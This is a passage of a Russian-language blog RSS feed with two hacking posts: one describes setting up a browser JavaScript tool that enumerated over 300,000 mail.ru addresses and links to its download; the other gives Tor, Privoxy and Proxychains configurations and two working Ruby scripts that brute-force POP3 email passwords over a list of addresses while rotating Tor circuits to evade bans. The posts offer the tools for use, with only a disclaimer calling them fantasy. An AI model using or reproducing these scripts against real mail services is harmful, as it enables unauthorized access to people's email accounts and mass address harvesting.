<strong>0</strong>:чтобы не заморачиваться с кодировками он проверяет по длине строки т.е. например для строки &#8216;идет проверка&#8217; длина = 43</p>
<p>Остальное непонятное станет ясно дальше.</p>
<p><strong>Запуск и настройка:</strong><br />
Открываем в браузере первую страницу и видим примерно следующее:</p>
<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/06/Снимок-mail.ru-checker-all-domains-Arora.png"><img src="http://blog.lukmus.ru/wp-content/uploads/2010/06/Снимок-mail.ru-checker-all-domains-Arora.png" alt="Скриншот JS-Arora брутфорса" width="527" height="529" /></a></p>
<p><strong>Пару слов перед настройкой:</strong><br />
этот переборщик может работать в двух режимах: пересчет всего подрят или перебор по словарю, но так как javascript не может читать из локального файла в качестве словаря выступает поле &#8216;words&#8217;.</p>
<ul>
<li><em>Поле &#8216;addresses&#8217;</em> &#8211; здесь будут содержаться существующие адреса т.е. наши успешные попытки</li>
</ul>
<ul>
<li><em>Поле &#8216;full number&#8217;</em> &#8211; в случае если мы перебираем все возможные комбинации, сюда вбиваем порядковый номер комбинации символов, если по словарю, то номер слова в словаре.</li>
</ul>
<ul>
<li><em>Поле ниже &#8216;full number&#8217;</em>- первое служит для отображения текущего номера слова/комбинации символов, а во втором задаеться количество слов/комбинаций которые будем перебирать</li>
</ul>
<ul>
<li><em>Поле &#8216;exist address count&#8217;</em> &#8211; здесь отображаеться количество набранных адресов</li>
</ul>
<ul>
<li><em>Поле &#8216;dictionary/successively(0/1)&#8217;</em> &#8211; выбор варианта перебора 0 &#8211; по словарю, 1 &#8211; все подряд</li>
</ul>
<ul>
<li><em>Поле &#8216;words&#8217;</em> &#8211; наш словарь</li>
</ul>
<ul>
<li><em>Кнопка &#8216;start&#8217;</em> &#8211; запускает перебор</li>
</ul>
<ul>
<li> <em>Кнопка &#8216;update&#8217;</em> &#8211; обновляет фрейм сайта (использовать только в экстренных ситуациях т.к. скрипт сам обновляет страницу когда надо )</li>
</ul>
<p><strong>Настройка на перебор всего подряд </strong><br />
начинаем с 1000000 комбинации (full number = 0)<br />
перебор всех комбинаций (dictionary/successively(0/1)=1)<br />
количество = 5000</p>
<p><strong>Настройка на перебор по словарю</strong><br />
начинаем со второго слова в словаре(отсчет идет с нуля) (full number=2)<br />
перебор по словарю (dictionary/successively(0/1)=0)<br />
количество = 10000</p>
<p><strong>Итоги:</strong><br />
Я запускал эту страницу в 10, а иногда в 12-ти вкладках и за 3 дня перебрал несколько миллионов слов, в результате чего набрал базу в чуть больше 300 000 адресов и не разу не был никем забанен.<br />
Важно: скрипт не устойчив к отключению интернета т.е. браузер будет сильно лагать вплоть до зависания если инета не будет больше 5-10 минут и вернуть оттуда набрученное будет очень тяжело, хотя мне удавалось.<br />
Так же не рекомендую кидать в словарь слишком много слов, 10-15 тысяч на вкладку вполне достаточно, и не надо открывать много вкладок &#8211; сайт не будет выдавать быстрее инфу, чем его канал позволяет, а нагрузить память браузера можно достаточно серьезно, для стабильной работы необходимо не больше 15 вкладок .<br />
Скачать все эти скрипты можно <a href="http://sharingmatrix.com/file/9980515/mail.ru_-_JS-Arora-brute.tar" target="_blank">здесь</a>.</p>
<pre>Статья является плодом бурной фантазии автора и не призывает ни к каким действиям,
противоречащим законодательству. Ответственность за использование материала ложиться только на вас!
Любые совпадения с реальными людьми считаются случайными.</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/06/16/ekstravagantnyiy-sposob-perebora/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>бессмертный универсальный брутфорс</title>
		<link>http://blog.lukmus.ru/2010/06/16/bessmertnyiy-universalnyiy-brutfors/</link>
		<comments>http://blog.lukmus.ru/2010/06/16/bessmertnyiy-universalnyiy-brutfors/#comments</comments>
		<pubDate>Wed, 16 Jun 2010 23:09:57 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[privoxy]]></category>
		<category><![CDATA[proxychains]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[tor]]></category>
		<category><![CDATA[брутфорс]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=14</guid>
		<description><![CDATA[Сам простой способ перебора, избегающий бан &#8211; брутфорсить через прокси/соксы. Однако, для этого приходиться искать прокси или покупать их. Первое нам не подходит т.к. публичные прокси долгие и быстро умерают, а второй не каждый может себе позволить. Наверное, для многих не секрет, что существует еще один способ &#8211; использование &#8216;луковой маршрутизации&#8217;. Для передачи пакета через [...]]]></description>
			<content:encoded><![CDATA[<p>Сам простой способ перебора, избегающий бан &#8211; брутфорсить через прокси/соксы.<br />
Однако, для этого приходиться искать прокси или покупать их. Первое нам не подходит т.к. публичные прокси долгие и быстро умерают, а второй не каждый может себе позволить.<br />
Наверное, для многих не секрет, что существует еще один способ &#8211; использование &#8216;луковой маршрутизации&#8217;.<br />
Для передачи пакета через &#8216;луковый маршрут&#8217; используют программу Tor.<br />
Это система, позволяющая устанавливать анонимное сетевое соединение, защищенное от прослушивания. Рассматривается как анонимная сеть, предоставляющая передачу данных в зашифрованном виде. Более подробно про Tor можно прочитать <a title="здесь" href="http://ru.wikipedia.org/wiki/Tor" target="_blank">здесь</a>.<br />
<a href="http://blog.lukmus.ru/wp-content/uploads/2010/06/0904bb7fb40d557d4b216309485c0878.jpg"><img src="http://blog.lukmus.ru/wp-content/uploads/2010/06/0904bb7fb40d557d4b216309485c0878.jpg" alt="" title="0904bb7fb40d557d4b216309485c0878" width="517" height="415" class="aligncenter size-full wp-image-1034" /></a><br />
Далее я рассмотрю использование tor&#8217;а для брутфорса email&#8217;ов по протоколу POP3.<span id="more-14"></span><br />
Итак, нам понадобиться:</p>
<ol>
<li>собственно сам Tor;</li>
<li><a title="Privoxy" href="http://www.privoxy.org/" target="_blank">Privoxy</a> — это свободный веб-прокси с расширенными возможностями фильтрования интернет-контента для защиты конфиденциальности (приватности) пользователей сети Интернет, изменения содержания веб-страниц, управления cookies, ограничения доступа к некоторым сайтам и удаления рекламы, баннеров, всплывающих окон, а также любого другого нежелательного контента («интернет-мусора»);</li>
<li><a title="Proxychains" href="http://proxychains.sourceforge.net/" target="_blank">Proxychains</a> &#8211; программа, направляющая пакет уровня выше протокола IP, через цепочки заданных proxy(http) или socks(https,smtp,pop3,imap,ftp и др. в стеке протоколов выше IP)</li>
</ol>
<p>Подробнее о их настройке можете прочитать на их официальных сайтах, в качестве примера, привожу мои настройки:</p>
<p>Tor (/etc/tor/torrc):</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">DataDirectory <span style="color: #339933;">/</span><span style="color: #000000; font-weight: bold;">var</span><span style="color: #339933;">/</span>lib<span style="color: #339933;">/</span>tor<span style="color: #339933;">/.</span>tor
NewCircuitPeriod <span style="color: #cc66cc;">1</span>
Group toranon
User  toranon</pre></td></tr></table></div>

<p>Privoxy (/etc/privoxy/config):</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">forward<span style="color: #339933;">-</span>socks4a <span style="color: #339933;">/</span> 127<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>1<span style="color: #339933;">:</span><span style="color: #cc66cc;">9050</span> <span style="color: #339933;">.</span>
confdir <span style="color: #339933;">/</span>etc<span style="color: #339933;">/</span>privoxy
logdir <span style="color: #339933;">/</span><span style="color: #000000; font-weight: bold;">var</span><span style="color: #339933;">/</span><span style="color: #990000;">log</span><span style="color: #339933;">/</span>privoxy
actionsfile standard  <span style="color: #666666; font-style: italic;"># Internal purpose, recommended
</span>actionsfile <span style="color: #b1b100;">default</span>   <span style="color: #666666; font-style: italic;"># Main actions file
</span>actionsfile user      <span style="color: #666666; font-style: italic;"># User customizations
</span>filterfile <span style="color: #b1b100;">default</span><span style="color: #339933;">.</span>filter
debug   <span style="color: #cc66cc;">4096</span> <span style="color: #666666; font-style: italic;"># Startup banner and warnings
</span>debug   <span style="color: #cc66cc;">8192</span> <span style="color: #666666; font-style: italic;"># Errors - *we highly recommended enabling this*
</span>user<span style="color: #339933;">-</span>manual <span style="color: #339933;">/</span>usr<span style="color: #339933;">/</span>share<span style="color: #339933;">/</span>doc<span style="color: #339933;">/</span>privoxy<span style="color: #339933;">/</span>user<span style="color: #339933;">-</span>manual
listen<span style="color: #339933;">-</span>address  127<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>1<span style="color: #339933;">:</span><span style="color: #cc66cc;">8118</span>
toggle  <span style="color: #cc66cc;">1</span>
enable<span style="color: #339933;">-</span>remote<span style="color: #339933;">-</span>toggle <span style="color: #cc66cc;">0</span>
enable<span style="color: #339933;">-</span>edit<span style="color: #339933;">-</span>actions <span style="color: #cc66cc;">0</span>
enable<span style="color: #339933;">-</span>remote<span style="color: #339933;">-</span>http<span style="color: #339933;">-</span>toggle <span style="color: #cc66cc;">0</span>
buffer<span style="color: #339933;">-</span>limit <span style="color: #cc66cc;">4096</span></pre></td></tr></table></div>

<p>Proxychains (/etc/proxychains.conf):</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#dynamic_chain
</span>random_chain  <span style="color: #666666; font-style: italic;">#случайный сервер
</span>chain_len <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span> <span style="color: #666666; font-style: italic;">#максимальная длина цепи
</span>tcp_read_time_out <span style="color: #cc66cc;">20000</span>
tcp_connect_time_out <span style="color: #cc66cc;">20000</span>
<span style="color: #666666; font-style: italic;">#список серверов
</span>socks4 127<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>1 <span style="color: #cc66cc;">9050</span>
socks4 127<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>1 <span style="color: #cc66cc;">9050</span>
socks4 127<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>1 <span style="color: #cc66cc;">9050</span>
socks4 127<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>0<span style="color: #339933;">.</span>1 <span style="color: #cc66cc;">9050</span></pre></td></tr></table></div>

<p>Примечание: как бы я не пытался но у меня так и не получилось заставить proxychains выстроить цепь из одного сервера, минимум цепочка состояла из двух, для этого я здесь и указал локальный хост несколько раз. Возникает вопрос: а почему бы тогда не указать его 2 раза; отвечу: для того чтобы сделать брутфорс более стабильным т.к. при обнаружении мертвого сервера (такое возможно с локальным хостом если ОС не даст сокет) proxychains возьмет следующий, так вот чтобы он мог брать 4 раза следуюший а не 2, здесь и написано 4 раза.</p>
<p>Далее я приведу код примитивного брутфорса, который будет состоять из 2-х скриптов:</p>
<ol>
<li>скрипт инициирующий соединение, будет запускаться под tor&#8217;ом</li>
<li>скрипт инициирующий запуск первого скрипта.</li>
</ol>
<p>1. На входе просит email-адрес, пароль и файл для удачных комбинаций (try_connect.rb)</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/usr/bin/ruby
</span><span style="color: #b1b100;">require</span> <span style="color: #0000ff;">'net/pop'</span>
&nbsp;
n<span style="color: #339933;">=</span>ARGV<span style="color: #339933;">.</span>size
<span style="color: #b1b100;">if</span> n<span style="color: #339933;">!=</span><span style="color: #cc66cc;">3</span>
 puts <span style="color: #0000ff;">&quot;Not enought arguments<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
 <span style="color: #990000;">exit</span>
<span style="color: #990000;">end</span>
&nbsp;
login<span style="color: #339933;">=</span>ARGV<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #990000;">split</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'@'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span>
pop_server<span style="color: #339933;">=</span><span style="color: #0000ff;">'pop.'</span><span style="color: #339933;">+</span>ARGV<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #990000;">split</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'@'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span>
paswd<span style="color: #339933;">,</span> outfile<span style="color: #339933;">=</span>ARGV<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>ARGV<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span>
&nbsp;
puts <span style="color: #0000ff;">&quot;/#{pop_server}/#{login}/#{paswd}/&quot;</span>
invalid<span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">false</span>
begin
  begin
    Net<span style="color: #339933;">::</span><span style="color: #004000;">POP3</span><span style="color: #339933;">.</span>auth_only<span style="color: #009900;">&#40;</span>pop_server<span style="color: #339933;">,</span> <span style="color: #cc66cc;">110</span><span style="color: #339933;">,</span>login<span style="color: #339933;">,</span> paswd<span style="color: #009900;">&#41;</span>
  rescue Net<span style="color: #339933;">::</span><span style="color: #004000;">POPAuthenticationError</span>
    invalid<span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">true</span>
    puts <span style="color: #0000ff;">&quot;FAIL /#{ARGV[0]}/#{ARGV[1]}/  #{Time.now}&quot;</span>
  <span style="color: #990000;">end</span>
rescue <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> e
  invalid<span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">true</span>
  puts <span style="color: #0000ff;">&quot;#{Time.now} can't connect #{e}&quot;</span>
  <span style="color: #666666; font-style: italic;">#retry
</span><span style="color: #990000;">end</span>
&nbsp;
<span style="color: #b1b100;">if</span> invalid<span style="color: #339933;">==</span><span style="color: #009900; font-weight: bold;">false</span>
  puts <span style="color: #0000ff;">&quot;SUCCESS /#{ARGV[0]}/#{ARGV[1]}/  #{Time.now}&quot;</span>
  <span style="color: #990000;">File</span><span style="color: #339933;">.</span>open<span style="color: #009900;">&#40;</span>outfile<span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;a&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">do</span> <span style="color: #339933;">|</span>sfile<span style="color: #339933;">|</span>
    sfile<span style="color: #339933;">.</span>puts <span style="color: #0000ff;">&quot;#{Time.now}  #{ARGV[0]}:#{ARGV[1]}&quot;</span>
  <span style="color: #990000;">end</span>
<span style="color: #990000;">end</span></pre></td></tr></table></div>

<p>2. На входе просит фаил-список e-mail адресов и файл для удачных комбинаций (get_next.rb)</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/usr/bin/ruby
</span>
n<span style="color: #339933;">=</span>ARGV<span style="color: #339933;">.</span>size
<span style="color: #b1b100;">if</span> n<span style="color: #339933;">&lt;</span><span style="color: #cc66cc;">1</span> or n<span style="color: #339933;">&gt;</span><span style="color: #cc66cc;">2</span>
  puts <span style="color: #0000ff;">&quot;Not enought arguments<span style="color: #000099; font-weight: bold;">\n</span>  []&quot;</span>
  <span style="color: #990000;">exit</span>
<span style="color: #990000;">end</span>
&nbsp;
infile<span style="color: #339933;">=</span>ARGV<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span>
<span style="color: #b1b100;">if</span> n<span style="color: #339933;">==</span><span style="color: #cc66cc;">1</span> then outfile<span style="color: #339933;">=</span>infile<span style="color: #339933;">+</span><span style="color: #0000ff;">'_out'</span> <span style="color: #b1b100;">else</span> outfile<span style="color: #339933;">=</span>ARGV<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #990000;">end</span>
&nbsp;
begin
  <span style="color: #990000;">file</span><span style="color: #339933;">=</span><span style="color: #990000;">File</span><span style="color: #339933;">.</span><span style="color: #000000; font-weight: bold;">new</span><span style="color: #009900;">&#40;</span>infile<span style="color: #009900;">&#41;</span>
rescue <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> e
  puts <span style="color: #0000ff;">&quot;Inputfile error:#{e}&quot;</span>
<span style="color: #990000;">end</span>
&nbsp;
pass<span style="color: #339933;">=</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'yourfirstpass'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'yoursecondpass'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'yourthirdpass'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'  etc'</span><span style="color: #009900;">&#93;</span>
&nbsp;
str<span style="color: #339933;">=</span><span style="color: #0000ff;">''</span>
no<span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span>
<span style="color: #b1b100;">while</span> str<span style="color: #339933;">!=</span>nil
  puts <span style="color: #0000ff;">&quot;#{no})&quot;</span>
  str<span style="color: #339933;">=</span><span style="color: #990000;">file</span><span style="color: #339933;">.</span>gets
  <span style="color: #b1b100;">if</span> str<span style="color: #339933;">!=</span>nil
    <span style="color: #990000;">mail</span><span style="color: #339933;">=</span>str<span style="color: #339933;">.</span>to_s<span style="color: #339933;">.</span><span style="color: #990000;">chop</span><span style="color: #339933;">!</span>
    pass<span style="color: #339933;">.</span><span style="color: #990000;">each</span> <span style="color: #b1b100;">do</span> <span style="color: #339933;">|</span>paswd<span style="color: #339933;">|</span>
      puts <span style="color: #0000ff;">&quot;proxychains ./try_connect.rb #{mail} #{paswd}&quot;</span><span style="color: #339933;">+</span>
      <span style="color: #0000ff;">&quot;#{outfile}&quot;</span>
      <span style="color: #990000;">system</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;proxychains ./try_connect.rb #{mail} #{paswd}&quot;</span><span style="color: #339933;">+</span>
      <span style="color: #0000ff;">&quot;#{outfile}&quot;</span><span style="color: #009900;">&#41;</span>
      <span style="color: #990000;">sleep</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #666666; font-style: italic;">#интервал между запросами
</span>    <span style="color: #990000;">end</span><span style="color: #666666; font-style: italic;">#each
</span>  <span style="color: #990000;">end</span><span style="color: #666666; font-style: italic;">#if
</span>  no<span style="color: #339933;">+=</span><span style="color: #cc66cc;">1</span>
<span style="color: #990000;">end</span><span style="color: #666666; font-style: italic;">#while
</span><span style="color: #990000;">file</span><span style="color: #339933;">.</span>close</pre></td></tr></table></div>

<p><strong>Теперь рассмотрим прицип работы:</strong></p>
<ol>
<li>скрипт get_next.rb берет из списка email и дает команду интерпритатору bash: &#8216;proxychains ./try_connect.rb #{mail} #{paswd} #{outfile}&#8217;</li>
<li>bash запускает proxychains</li>
<li>proxychains запускает try_connect.rb под своим прикрытием т.е. пакет идет на локальный прокси/сокс privoxy, который в свою очередь доверяет маршрутизацию пакета сети Tor, который предусмотрительно меняет свои сервера (в этом можно убедиться запустив браузер под tor&#8217;ом, где обновлять страницу скажем 2ip.ru)</li>
<li>по выше приведенному пути try_connect.rb ведет диалог с pop3-сервером поповоду авторизации</li>
</ol>
<p>Использовать связку tor-privoxy-proxychains можно для любого брутфорса, работающего на протоколах выше IP, по-мойму кроме ICMP, тем самым можно не писать нудные процедуры посылки пакета через прокси, а написав примитивный брутфорс запускать его под этой связкой.</p>
<p>Примечание: все выше указанное ПО, в том числе скрипты, тестировались только под ОС Linux, однако на офсайтах privoxy,tor и proxychains заявленно что существуют версии и для Windows и для Mac. Приведенные здесь скрипты написанны на Ruby, который в свою очередь тоже являеться кроссплатформенным.<br />
Увеличить скорость работы приведенных скриптов можно добавив многопоточность.</p>

<div class="wp_syntax"><table><tr><td class="code"><pre class="" style="font-family:monospace;">Статья является плодом бурной фантазии автора и не призывает
ни к каким действиям, противоречащим законодательству.
Ответственность за использование материала ложиться только
на вас! Любые совпадения с реальными людьми считаются
случайными.</pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/06/16/bessmertnyiy-universalnyiy-brutfors/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
	</channel>
</rss>
